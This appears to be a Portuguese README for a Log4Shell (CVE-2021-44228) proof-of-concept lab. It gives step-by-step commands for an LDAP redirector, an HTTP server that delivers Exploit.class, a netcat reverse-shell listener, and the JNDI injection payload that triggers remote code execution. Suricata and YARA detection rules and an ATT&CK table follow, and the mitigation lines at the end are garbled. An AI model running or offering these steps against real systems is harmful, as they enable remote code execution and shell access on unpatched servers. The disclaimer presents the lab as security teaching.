**Log4Shell PoC é um ambiente de exploração de alta fidelidade projetado para replicar a vulnerabilidade CVE-2021-44228.** Ele fornece um sandbox containerizado para demonstrar injeção JNDI, redirecionamento de referência LDAP/RMI e execução remota de código (RCE) por meio da biblioteca Log4j 2.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
**Log4Shell PoC é um ambiente de exploração de alta fidelidade projetado para replicar a vulnerabilidade CVE-2021-44228.** Ele fornece um sandbox containerizado para demonstrar injeção JNDI, redirecionamento de referência LDAP/RMI e execução remota de código (RCE) por meio da biblioteca Log4j 2.
---
### ⚠️ DISCLAIMER
**Apenas para fins educacionais e de testes de segurança autorizados.**
O uso deste Proof of Concept para atacar alvos sem consentimento mútuo prévio é ilegal. É de responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os autores não assumem nenhuma responsabilidade e não são responsáveis por perda de dados, danos ao sistema, consequências legais ou uso indevido causado por este programa. Ao usar este software, você concorda em operar dentro dos limites legais da sua jurisdição.
---
---
### Seção 2: Recursos e Estrutura do Projeto
## 🚀 Capacidades do PoC
* [x] **Injeção JNDI:** Ponto de entrada vulnerável do Log4j 2.14.1.
* [x] **Servidor de Referência LDAP:** Redirecionamento LDAP malicioso via Marshalsec.
* [x] **Carregamento Remoto de Classes:** Entrega via HTTP de bytecode Java compilado.
* [x] **Payload Multi-Estágio:** Execução de reverse shell nativa em Java.
* [x] **Teste de Evasão:** Bypasses de TrustURLCodebase e FormatMsgNoLookups.
---
## 🛠 Estrutura do PoC
### 🛰 Infraestrutura Maliciosa (Atacante)
O lado do atacante é composto por três canais distintos para facilitar o PoC.
* **Redirecionador LDAP (Porta 1389):** Construído sobre Marshalsec, direciona a solicitação JNDI da vítima para o exploit hospedado.
* **Servidor HTTP de Payload (Porta 8888):** Hospeda o bytecode `Exploit.class` para a vítima baixar e executar.
* **Listener NC (Porta 9001):** O destino final de callback para o reverse shell.
### 💻 Instância Vulnerável (Vítima)
Um ambiente Dockerizado OpenJDK 8 executando uma implementação vulnerável do Log4j.
* **Log4j v2.14.1:** A versão da biblioteca alvo.
* **VulnerableLog.java:** Um aplicativo Java simples que registra entrada fornecida pelo usuário sem sanitização.
---
---
### Seção 3: Instruções de Configuração e Execução
## ⚙️ Configuração e Execução
### 1. Configuração do Atacante (Arch Linux)
**Aba 1: Servidor de Referência LDAP**
```bash
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
Aba 2: Entrega do Payload HTTP
# Start Python server in the directory containing Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
Aba 3: Listener Netcat
nc -lvnp 9001
Aba 4: Iniciar o Contêiner Vulnerável
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
Dentro do Contêiner: Disparar o PoC
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "Detects JNDI lookup strings in logs used in PoC"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| Fase | Técnica | Alerta Disparado? | MITRE ATT&CK |
|---|---|---|---|
| Acesso Inicial | Explorar Aplicativo Exposto Publicamente | [ ] | T1190 |
| Execução | Interpretador de Comandos e Scripts | [ ] | T1059 |
| Comando e Controle | Protocolo de Camada de Aplicação (LDAP) | [ ] | T1071.003 |
| Exfiltração | Protocolo de Camada Não Aplicacional | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true para desativar lookups.JndiLookup.class do JAR log4j-core.172.17.0.0/16).